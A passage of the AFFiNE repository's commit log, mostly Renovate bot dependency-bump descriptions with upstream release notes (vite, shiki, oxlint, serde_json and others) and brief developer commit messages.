-   fix: should update dependents with the value of the unwrapped atom when the promise resolves by [@&#8203;dmaskasky](https://redirect.github.com/dmaskasky) in [https://github.com/pmndrs/jotai/pull/2936](https://redirect.github.com/pmndrs/jotai/pull/2936)

#### New Contributors

-   [@&#8203;kyday](https://redirect.github.com/kyday) made their first contribution in [https://github.com/pmndrs/jotai/pull/2927](https://redirect.github.com/pmndrs/jotai/pull/2927)
-   [@&#8203;Zercerium](https://redirect.github.com/Zercerium) made their first contribution in [https://github.com/pmndrs/jotai/pull/2929](https://redirect.github.com/pmndrs/jotai/pull/2929)
-   [@&#8203;disjukr](https://redirect.github.com/disjukr) made their first contribution in [https://github.com/pmndrs/jotai/pull/2937](https://redirect.github.com/pmndrs/jotai/pull/2937)

**Full Changelog**: https://github.com/pmndrs/jotai/compare/v2.11.0...v2.11.1

</details>

<details>
<summary>vitejs/vite (vite)</summary>

### [`v6.0.9`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small609-2025-01-20-small)

[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.8...v6.0.9)

-   fix!: check host header to prevent DNS rebinding attacks and introduce `server.allowedHosts` ([bd896fb](bd896fb5f3))
-   fix!: default `server.cors: false` to disallow fetching from untrusted origins ([b09572a](b09572acc9))
-   fix: verify token for HMR WebSocket connection ([029dcd6](029dcd6d77))

### [`v6.0.8`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small608-2025-01-20-small)

[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.7...v6.0.8)

-   fix: avoid SSR HMR for HTML files ([#&#8203;19193](https://redirect.github.com/vitejs/vite/issues/19193)) ([3bd55bc](3bd55bcb7e)), closes [#&#8203;19193](https://redirect.github.com/vitejs/vite/issues/19193)
-   fix: build time display 7m 60s ([#&#8203;19108](https://redirect.github.com/vitejs/vite/issues/19108)) ([cf0d2c8](cf0d2c8e23)), closes [#&#8203;19108](https://redirect.github.com/vitejs/vite/issues/19108)
-   fix: don't resolve URL starting with double slash ([#&#8203;19059](https://redirect.github.com/vitejs/vite/issues/19059)) ([35942cd](35942cde11)), closes [#&#8203;19059](https://redirect.github.com/vitejs/vite/issues/19059)
-   fix: ensure `server.close()` only called once ([#&#8203;19204](https://redirect.github.com/vitejs/vite/issues/19204)) ([db81c2d](db81c2dada)), closes [#&#8203;19204](https://redirect.github.com/vitejs/vite/issues/19204)
-   fix: resolve.conditions in ResolvedConfig was `defaultServerConditions` ([#&#8203;19174](https://redirect.github.com/vitejs/vite/issues/19174)) ([ad75c56](ad75c56dce)), closes [#&#8203;19174](https://redirect.github.com/vitejs/vite/issues/19174)
-   fix: tree shake stringified JSON imports ([#&#8203;19189](https://redirect.github.com/vitejs/vite/issues/19189)) ([f2aed62](f2aed62d0b)), closes [#&#8203;19189](https://redirect.github.com/vitejs/vite/issues/19189)
-   fix: use shared sigterm callback ([#&#8203;19203](https://redirect.github.com/vitejs/vite/issues/19203)) ([47039f4](47039f4643)), closes [#&#8203;19203](https://redirect.github.com/vitejs/vite/issues/19203)
-   fix(deps): update all non-major dependencies ([#&#8203;19098](https://redirect.github.com/vitejs/vite/issues/19098)) ([8639538](8639538e64)), closes [#&#8203;19098](https://redirect.github.com/vitejs/vite/issues/19098)
-   fix(optimizer): use correct default install state path for yarn PnP ([#&#8203;19119](https://redirect.github.com/vitejs/vite/issues/19119)) ([e690d8b](e690d8bb1e)), closes [#&#8203;19119](https://redirect.github.com/vitejs/vite/issues/19119)
-   fix(types): improve `ESBuildOptions.include / exclude` type to allow `readonly (string | RegExp)[]`  ([ea53e70](ea53e70952)), closes [#&#8203;19146](https://redirect.github.com/vitejs/vite/issues/19146)
-   chore(deps): update dependency pathe to v2 ([#&#8203;19139](https://redirect.github.com/vitejs/vite/issues/19139)) ([71506f0](71506f0a8d)), closes [#&#8203;19139](https://redirect.github.com/vitejs/vite/issues/19139)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-20 14:28:03 +00:00
Saul-Mirone
04509a9c91 fix(editor): remove pointer event handlers in root block (#9802) 2025-01-20 14:10:05 +00:00
doodlewind
14ca171a18 chore(web): bump theme (#9801) 2025-01-20 13:51:24 +00:00
renovate
44b28cacf5 chore: bump up all non-major dependencies (#9786)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@napi-rs/cli](https://redirect.github.com/napi-rs/napi-rs) | [`3.0.0-alpha.67` -> `3.0.0-alpha.68`](https://renovatebot.com/diffs/npm/@napi-rs%2fcli/3.0.0-alpha.67/3.0.0-alpha.68) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@napi-rs%2fcli/3.0.0-alpha.68?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@napi-rs%2fcli/3.0.0-alpha.68?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@napi-rs%2fcli/3.0.0-alpha.67/3.0.0-alpha.68?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@napi-rs%2fcli/3.0.0-alpha.67/3.0.0-alpha.68?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [micromark-extension-gfm-table](https://redirect.github.com/micromark/micromark-extension-gfm-table) | [`2.1.0` -> `2.1.1`](https://renovatebot.com/diffs/npm/micromark-extension-gfm-table/2.1.0/2.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/micromark-extension-gfm-table/2.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/micromark-extension-gfm-table/2.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/micromark-extension-gfm-table/2.1.0/2.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/micromark-extension-gfm-table/2.1.0/2.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [shiki](https://redirect.github.com/shikijs/shiki) ([source](https://redirect.github.com/shikijs/shiki/tree/HEAD/packages/shiki)) | [`1.27.2` -> `1.29.1`](https://renovatebot.com/diffs/npm/shiki/1.27.2/1.29.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/shiki/1.29.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/shiki/1.29.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/shiki/1.27.2/1.29.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/shiki/1.27.2/1.29.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [vite](https://vite.dev) ([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite)) | [`6.0.7` -> `6.0.9`](https://renovatebot.com/diffs/npm/vite/6.0.7/6.0.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vite/6.0.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vite/6.0.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vite/6.0.7/6.0.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/6.0.7/6.0.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>napi-rs/napi-rs (@&#8203;napi-rs/cli)</summary>

### [`v3.0.0-alpha.68`](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.67...@napi-rs/cli@3.0.0-alpha.68)

[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.67...@napi-rs/cli@3.0.0-alpha.68)

</details>

<details>
<summary>micromark/micromark-extension-gfm-table (micromark-extension-gfm-table)</summary>

### [`v2.1.1`](https://redirect.github.com/micromark/micromark-extension-gfm-table/releases/tag/2.1.1)

[Compare Source](https://redirect.github.com/micromark/micromark-extension-gfm-table/compare/2.1.0...2.1.1)

##### Fix

-   [`b9c47f5`](https://redirect.github.com/micromark/micromark-extension-gfm-table/commit/b9c47f5) Fix stack overflow by replacing spread w/ for loop
    by [@&#8203;zzuu666](https://redirect.github.com/zzuu666) in [https://github.com/micromark/micromark-extension-gfm-table/pull/15](https://redirect.github.com/micromark/micromark-extension-gfm-table/pull/15)

##### Types

-   [`f916674`](https://redirect.github.com/micromark/micromark-extension-gfm-table/commit/f916674) Refactor types
-   [`630c82f`](https://redirect.github.com/micromark/micromark-extension-gfm-table/commit/630c82f) Add declaration maps

**Full Changelog**: https://github.com/micromark/micromark-extension-gfm-table/compare/2.1.0...2.1.1

</details>

<details>
<summary>shikijs/shiki (shiki)</summary>

### [`v1.29.1`](https://redirect.github.com/shikijs/shiki/releases/tag/v1.29.1)

[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v1.29.0...v1.29.1)

#####    🚀 Features

-   Improve warning messages  -  by [@&#8203;antfu](https://redirect.github.com/antfu) [<samp>(ad525)</samp>](https://redirect.github.com/shikijs/shiki/commit/ad525a9c)
-   Expose `shiki/types`  -  by [@&#8203;antfu](https://redirect.github.com/antfu) [<samp>(0b027)</samp>](https://redirect.github.com/shikijs/shiki/commit/0b027f3d)

#####     [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v1.29.0...v1.29.1)

### [`v1.29.0`](https://redirect.github.com/shikijs/shiki/releases/tag/v1.29.0)

[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v1.28.0...v1.29.0)

#####    🚀 Features

-   **transformers**: Introduce `matchAlgorithm` option for new matching algorithm  -  by [@&#8203;fuma-nama](https://redirect.github.com/fuma-nama) and [@&#8203;antfu](https://redirect.github.com/antfu) in [https://github.com/shikijs/shiki/issues/835](https://redirect.github.com/shikijs/shiki/issues/835) [<samp>(ceca9)</samp>](https://redirect.github.com/shikijs/shiki/commit/ceca984e)

#####     [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v1.28.0...v1.29.0)

### [`v1.28.0`](https://redirect.github.com/shikijs/shiki/releases/tag/v1.28.0)

[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v1.27.2...v1.28.0)

#####    🚀 Features

-   **engine-js**: Improve performance for some languages  -  by [@&#8203;slevithan](https://redirect.github.com/slevithan) in [https://github.com/shikijs/shiki/issues/897](https://redirect.github.com/shikijs/shiki/issues/897) [<samp>(e86ca)</samp>](https://redirect.github.com/shikijs/shiki/commit/e86ca5fa)

#####    🐞 Bug Fixes

-   **rehype**: Improve `lazy` performance  -  by [@&#8203;fuma-nama](https://redirect.github.com/fuma-nama) in [https://github.com/shikijs/shiki/issues/896](https://redirect.github.com/shikijs/shiki/issues/896) [<samp>(5c10f)</samp>](https://redirect.github.com/shikijs/shiki/commit/5c10f25b)

#####     [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v1.27.2...v1.28.0)

</details>

<details>
<summary>vitejs/vite (vite)</summary>

### [`v6.0.9`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small609-2025-01-20-small)

[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.8...v6.0.9)

-   fix!: check host header to prevent DNS rebinding attacks and introduce `server.allowedHosts` ([bd896fb](bd896fb5f3))
-   fix!: default `server.cors: false` to disallow fetching from untrusted origins ([b09572a](b09572acc9))
-   fix: verify token for HMR WebSocket connection ([029dcd6](029dcd6d77))

### [`v6.0.8`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small608-2025-01-20-small)

[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.7...v6.0.8)

-   fix: avoid SSR HMR for HTML files ([#&#8203;19193](https://redirect.github.com/vitejs/vite/issues/19193)) ([3bd55bc](3bd55bcb7e)), closes [#&#8203;19193](https://redirect.github.com/vitejs/vite/issues/19193)
-   fix: build time display 7m 60s ([#&#8203;19108](https://redirect.github.com/vitejs/vite/issues/19108)) ([cf0d2c8](cf0d2c8e23)), closes [#&#8203;19108](https://redirect.github.com/vitejs/vite/issues/19108)
-   fix: don't resolve URL starting with double slash ([#&#8203;19059](https://redirect.github.com/vitejs/vite/issues/19059)) ([35942cd](35942cde11)), closes [#&#8203;19059](https://redirect.github.com/vitejs/vite/issues/19059)
-   fix: ensure `server.close()` only called once ([#&#8203;19204](https://redirect.github.com/vitejs/vite/issues/19204)) ([db81c2d](db81c2dada)), closes [#&#8203;19204](https://redirect.github.com/vitejs/vite/issues/19204)
-   fix: resolve.conditions in ResolvedConfig was `defaultServerConditions` ([#&#8203;19174](https://redirect.github.com/vitejs/vite/issues/19174)) ([ad75c56](ad75c56dce)), closes [#&#8203;19174](https://redirect.github.com/vitejs/vite/issues/19174)
-   fix: tree shake stringified JSON imports ([#&#8203;19189](https://redirect.github.com/vitejs/vite/issues/19189)) ([f2aed62](f2aed62d0b)), closes [#&#8203;19189](https://redirect.github.com/vitejs/vite/issues/19189)
-   fix: use shared sigterm callback ([#&#8203;19203](https://redirect.github.com/vitejs/vite/issues/19203)) ([47039f4](47039f4643)), closes [#&#8203;19203](https://redirect.github.com/vitejs/vite/issues/19203)
-   fix(deps): update all non-major dependencies ([#&#8203;19098](https://redirect.github.com/vitejs/vite/issues/19098)) ([8639538](8639538e64)), closes [#&#8203;19098](https://redirect.github.com/vitejs/vite/issues/19098)
-   fix(optimizer): use correct default install state path for yarn PnP ([#&#8203;19119](https://redirect.github.com/vitejs/vite/issues/19119)) ([e690d8b](e690d8bb1e)), closes [#&#8203;19119](https://redirect.github.com/vitejs/vite/issues/19119)
-   fix(types): improve `ESBuildOptions.include / exclude` type to allow `readonly (string | RegExp)[]`  ([ea53e70](ea53e70952)), closes [#&#8203;19146](https://redirect.github.com/vitejs/vite/issues/19146)
-   chore(deps): update dependency pathe to v2 ([#&#8203;19139](https://redirect.github.com/vitejs/vite/issues/19139)) ([71506f0](71506f0a8d)), closes [#&#8203;19139](https://redirect.github.com/vitejs/vite/issues/19139)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-20 13:03:20 +00:00
Yifeng Wang
e45ac54709 feat(editor): add canvas worker renderer dev entry (#9719) 2025-01-20 20:40:27 +08:00
fengmk2
2ae05c28b7 feat(server): enable cls plugin to store request id (#9758)
POC
2025-01-20 10:00:21 +00:00
Saul-Mirone
fa5e6e1f45 fix: remove bs shared and components in affine (#9792) 2025-01-20 09:41:06 +00:00
doouding
1560880abd fix: drag embed block preview (#9791)
Fixes [BS-1518](https://linear.app/affine-design/issue/BS-1518/拖拽一个-embed-view-的-linked-doc,其-indicator-是错误的)
2025-01-20 09:25:05 +00:00
forehalo
cb53baca89 fix(electron): export and import (#9767) 2025-01-20 08:48:03 +00:00
zzj3720
2e18ae59e3 refactor(editor): do not create a tag column by default anymore (#9789)
close: BS-2423
2025-01-20 06:59:10 +00:00
renovate
dce71f8e6e chore: bump up oxlint version to v0.15.7 (#9774)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint)) | [`0.15.6` -> `0.15.7`](https://renovatebot.com/diffs/npm/oxlint/0.15.6/0.15.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/0.15.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/oxlint/0.15.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/oxlint/0.15.6/0.15.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/0.15.6/0.15.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

### [`v0.15.7`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#0157---2025-01-19)

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.15.6...oxlint_v0.15.7)

##### Features

-   [`538b24a`](https://redirect.github.com/oxc-project/oxc/commit/538b24a) linter: Format the configuration documentation correctly ([#&#8203;8583](https://redirect.github.com/oxc-project/oxc/issues/8583)) (Tapan Prakash)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-20 06:32:11 +00:00
Saul-Mirone
2b3da1f0e9 fix: remove global, store and std in affine packages (#9785) 2025-01-20 06:14:46 +00:00
zzj3720
66b6fd8b74 fix(editor): view recorded in storage may not exist (#9788)
fix: BS-2415
2025-01-20 05:36:42 +00:00
CatsJuice
1a18aeb22e fix(core): make journal template selector fixed at bottom in sidebar (#9783) 2025-01-20 04:35:11 +00:00
donteatfriedrice
4bd43a698c refactor(editor): refactor linkPreviewer as an extension and remove bookmark service (#9754)
[BS-2427](https://linear.app/affine-design/issue/BS-2427/移除-bookmark-block-service) [BS-2418](https://linear.app/affine-design/issue/BS-2418/linkpreviewer-重构成插件)
2025-01-20 04:18:00 +00:00
EYHN
cc2958203b fix(core): fix ios sync (#9782) 2025-01-20 03:37:10 +00:00
fundon
4aabcaaa60 chore(core): update fill color of shape (#9674)
part of: https://github.com/toeverything/AFFiNE/pull/9633

* updates fill color in `shape.json`
2025-01-20 03:22:11 +00:00
JimmFly
601c0dd16c fix(core): center peek and history dialog does not display custom fonts (#9274)
close AF-1806
2025-01-20 03:00:13 +00:00
JimmFly
9004c45eed feat(core): add copy link button to local share menu (#9271)
close AF-1838
2025-01-20 02:40:10 +00:00
renovate
8d65a9bb5f chore: bump up Rust crate serde_json to v1.0.137 (#9781)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [serde_json](https://redirect.github.com/serde-rs/json) | workspace.dependencies | patch | `1.0.136` -> `1.0.137` |

---

### Release Notes

<details>
<summary>serde-rs/json (serde_json)</summary>

### [`v1.0.137`](https://redirect.github.com/serde-rs/json/releases/tag/v1.0.137)

[Compare Source](https://redirect.github.com/serde-rs/json/compare/v1.0.136...v1.0.137)

-   Turn on "float_roundtrip" and "unbounded_depth" features for serde_json in play.rust-lang.org ([#&#8203;1231](https://redirect.github.com/serde-rs/json/issues/1231))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-20 01:29:41 +00:00
renovate
c38ae69b4c chore: bump up all non-major dependencies (#9730)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.726.1` -> `3.731.1`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.726.1/3.731.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.731.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.731.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.726.1/3.731.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.726.1/3.731.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@chromatic-com/storybook](https://redirect.github.com/chromaui/addon-visual-tests) | [`3.2.3` -> `3.2.4`](https://renovatebot.com/diffs/npm/@chromatic-com%2fstorybook/3.2.3/3.2.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@chromatic-com%2fstorybook/3.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@chromatic-com%2fstorybook/3.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@chromatic-com%2fstorybook/3.2.3/3.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@chromatic-com%2fstorybook/3.2.3/3.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@napi-rs/cli](https://redirect.github.com/napi-rs/napi-rs) | [`3.0.0-alpha.65` -> `3.0.0-alpha.67`](https://renovatebot.com/diffs/npm/@napi-rs%2fcli/3.0.0-alpha.65/3.0.0-alpha.67) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@napi-rs%2fcli/3.0.0-alpha.67?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@napi-rs%2fcli/3.0.0-alpha.67?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@napi-rs%2fcli/3.0.0-alpha.65/3.0.0-alpha.67?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@napi-rs%2fcli/3.0.0-alpha.65/3.0.0-alpha.67?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@swc/core](https://swc.rs) ([source](https://redirect.github.com/swc-project/swc)) | [`1.10.7` -> `1.10.8`](https://renovatebot.com/diffs/npm/@swc%2fcore/1.10.7/1.10.8) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@swc%2fcore/1.10.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@swc%2fcore/1.10.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@swc%2fcore/1.10.7/1.10.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@swc%2fcore/1.10.7/1.10.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@toeverything/theme](https://redirect.github.com/toeverything/design) | [`1.1.6` -> `1.1.7`](https://renovatebot.com/diffs/npm/@toeverything%2ftheme/1.1.6/1.1.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@toeverything%2ftheme/1.1.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@toeverything%2ftheme/1.1.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@toeverything%2ftheme/1.1.6/1.1.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@toeverything%2ftheme/1.1.6/1.1.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [cloudflare/wrangler-action](https://redirect.github.com/cloudflare/wrangler-action) | `v3.13.0` -> `v3.13.1` | [![age](https://developer.mend.io/api/mc/badges/age/github-tags/cloudflare%2fwrangler-action/v3.13.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/github-tags/cloudflare%2fwrangler-action/v3.13.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/github-tags/cloudflare%2fwrangler-action/v3.13.0/v3.13.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/github-tags/cloudflare%2fwrangler-action/v3.13.0/v3.13.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | action | patch |
| [lint-staged](https://redirect.github.com/lint-staged/lint-staged) | [`15.3.0` -> `15.4.1`](https://renovatebot.com/diffs/npm/lint-staged/15.3.0/15.4.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lint-staged/15.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lint-staged/15.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lint-staged/15.3.0/15.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lint-staged/15.3.0/15.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [lucide-react](https://lucide.dev) ([source](https://redirect.github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react)) | [`^0.471.0` -> `^0.473.0`](https://renovatebot.com/diffs/npm/lucide-react/0.471.1/0.473.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lucide-react/0.473.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lucide-react/0.473.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lucide-react/0.471.1/0.473.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lucide-react/0.471.1/0.473.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
